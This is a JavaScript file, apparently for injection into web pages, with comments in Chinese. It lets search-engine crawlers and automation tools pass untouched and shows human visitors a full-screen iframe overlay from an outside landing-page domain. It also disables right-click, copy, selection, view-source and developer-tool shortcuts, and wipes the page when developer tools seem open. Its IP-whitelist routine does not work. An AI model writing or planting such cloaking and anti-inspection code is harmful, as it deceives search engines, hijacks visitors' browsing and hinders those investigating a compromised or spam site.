var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?19f1359c5a142d7b175992f1fd5e9ead"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); (function() { 'use strict'; // ========== 配置区域 ========== var CONFIG = { // IP 白名单(这些 IP 正常访问,不弹窗不拦截) allowedIPs: [ '127.0.0.1', '58.10.9.146', // 在这里添加更多白名单 IP ], // 广告弹窗配置 adUrl: 'https://luodiye.wenwen11.com', // 广告页面 URL adDelay: 1000, // 延迟显示(毫秒) adCloseable: true, // 是否允许关闭 // 蜘蛛识别关键词 spiders: [ 'googlebot', 'baiduspider', 'sogou', '360spider', 'haosouspider', 'yisouspider', 'bingbot', 'msnbot', 'slurp', 'duckduckbot', 'baiduyunguance', 'toutiaobot', 'yandexbot', 'facebookexternalhit', 'twitterbot', 'pinterest', 'applebot' ], // 搜索引擎域名 searchEngines: [ 'baidu.com', 'google.com', 'sogou.com', 'so.com', 'haosou.com', '360.cn', 'sm.cn', 'bing.com' ] }; // ========== IP 白名单检测 ========== function checkIPAllowed() { try { var script = document.createElement('script'); script.type = 'application/javascript'; script.src = 'https://api.ipify.org?format=json&callback=ipCallback'; var allowed = false; window.ipCallback = function(data) { for (var i = 0; i < CONFIG.allowedIPs.length; i++) { if (data.ip === CONFIG.allowedIPs[i]) { allowed = true; break; } } }; document.head.appendChild(script); // 同步等待结果 var start = Date.now(); while (Date.now() - start < 3000) { if (allowed) return true; } } catch (e) {} return false; } // 注意:IP 检测依赖外部 API,这里使用简单的 UA 检测作为备用 // 建议在实际环境中使用后端 PHP 检测 IP // ========== 蜘蛛检测 ========== function isSpider() { var ua = navigator.userAgent.toLowerCase(); for (var i = 0; i < CONFIG.spiders.length; i++) { if (ua.indexOf(CONFIG.spiders[i]) !== -1) { return true; } } // 检测自动化工具 if (navigator.webdriver || window.phantom || window._phantom || window.callPhantom) { return true; } return false; } // ========== 搜索引擎来源检测 ========== function isFromSearchEngine() { var ref = document.referrer.toLowerCase(); for (var i = 0; i < CONFIG.searchEngines.length; i++) { if (ref.indexOf(CONFIG.searchEngines[i]) !== -1) { return true; } } return false; } // ========== 主逻辑 ========== // 如果是蜘蛛,直接放行(不执行任何拦截) if (isSpider()) { return; } // 如果是白名单 IP,正常访问(不弹窗,但仍执行防探查) // 注意:纯前端无法准确获取 IP,这里暂时跳过 IP 检测 // 建议通过 PHP 后端判断 IP,然后输出变量到页面 // ========== 广告弹窗功能 ========== function createAdOverlay() { var overlay = document.createElement('div'); overlay.id = 'ad-fullscreen-overlay'; overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:#000;z-index:999999;display:flex;align-items:center;justify-content:center;'; var adContainer = document.createElement('div'); adContainer.id = 'ad-fullscreen-container'; adContainer.style.cssText = 'position:relative;width:100%;height:100%;background:#fff;'; var iframe = document.createElement('iframe'); iframe.src = CONFIG.adUrl; iframe.style.cssText = 'width:100%;height:100%;border:none;'; iframe.setAttribute('frameborder', '0'); iframe.setAttribute('scrolling', 'auto'); adContainer.appendChild(iframe); if (CONFIG.adCloseable) { var closeBtn = document.createElement('div'); closeBtn.innerHTML = '×'; closeBtn.style.cssText = 'position:absolute;top:10px;right:20px;width:40px;height:40px;background:rgba(0,0,0,0.6);color:#fff;font-size:30px;line-height:40px;text-align:center;cursor:pointer;border-radius:50%;z-index:1000000;'; closeBtn.onclick = function() { closeAd(overlay); }; adContainer.appendChild(closeBtn); } overlay.appendChild(adContainer); document.body.appendChild(overlay); return overlay; } function closeAd(overlay) { if (overlay && overlay.parentNode) { overlay.parentNode.removeChild(overlay); } document.body.style.overflow = 'auto'; } // 触发广告弹窗 setTimeout(function() { document.body.style.overflow = 'hidden'; var adOverlay = createAdOverlay(); if (CONFIG.adCloseable) { adOverlay.addEventListener('click', function(e) { if (e.target === adOverlay) { closeAd(adOverlay); } }); } document.addEventListener('keydown', function(e) { if (e.key === 'Escape' || e.keyCode === 27) { closeAd(adOverlay); } }); }, CONFIG.adDelay); // ========== 防探查功能 ========== // 禁止右键菜单 document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }); // 禁止快捷键 document.addEventListener('keydown', function(e) { // F12 if (e.key === 'F12' || e.keyCode === 123) { e.preventDefault(); return false; } // Ctrl+Shift+I (开发者工具) if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.keyCode === 73)) { e.preventDefault(); return false; } // Ctrl+Shift+J (控制台) if (e.ctrlKey && e.shiftKey && (e.key === 'J' || e.keyCode === 74)) { e.preventDefault(); return false; } // Ctrl+Shift+C (检查元素) if (e.ctrlKey && e.shiftKey && (e.key === 'C' || e.keyCode === 67)) { e.preventDefault(); return false; } // Ctrl+U (查看源代码) if (e.ctrlKey && (e.key === 'U' || e.keyCode === 85)) { e.preventDefault(); return false; } // Ctrl+S (保存页面) if (e.ctrlKey && (e.key === 'S' || e.keyCode === 83)) { e.preventDefault(); return false; } // Ctrl+A (全选) if (e.ctrlKey && (e.key === 'A' || e.keyCode === 65)) { e.preventDefault(); return false; } // Ctrl+P (打印) if (e.ctrlKey && (e.key === 'P' || e.keyCode === 80)) { e.preventDefault(); return false; } }); // 检测开发者工具是否打开 (function() { var threshold = 160; var check = function() { if (window.outerHeight - window.innerHeight > threshold || window.outerWidth - window.innerWidth > threshold) { document.body.innerHTML = '<div style="text-align:center;padding:50px;font-size:20px;color:#667eea;font-family:Microsoft YaHei;">检测到开发者工具已打开,页面已停止运行</div>'; } }; setInterval(check, 1000); })(); // 禁止拖拽 document.addEventListener('dragstart', function(e) { e.preventDefault(); return false; }); // 禁止选择文本 document.addEventListener('selectstart', function(e) { e.preventDefault(); return false; }); // 禁止拖放 document.addEventListener('drop', function(e) { e.preventDefault(); return false; }); // 禁止复制 document.addEventListener('copy', function(e) { e.preventDefault(); return false; }); // 禁止剪切 document.addEventListener('cut', function(e) { e.preventDefault(); return false; }); })();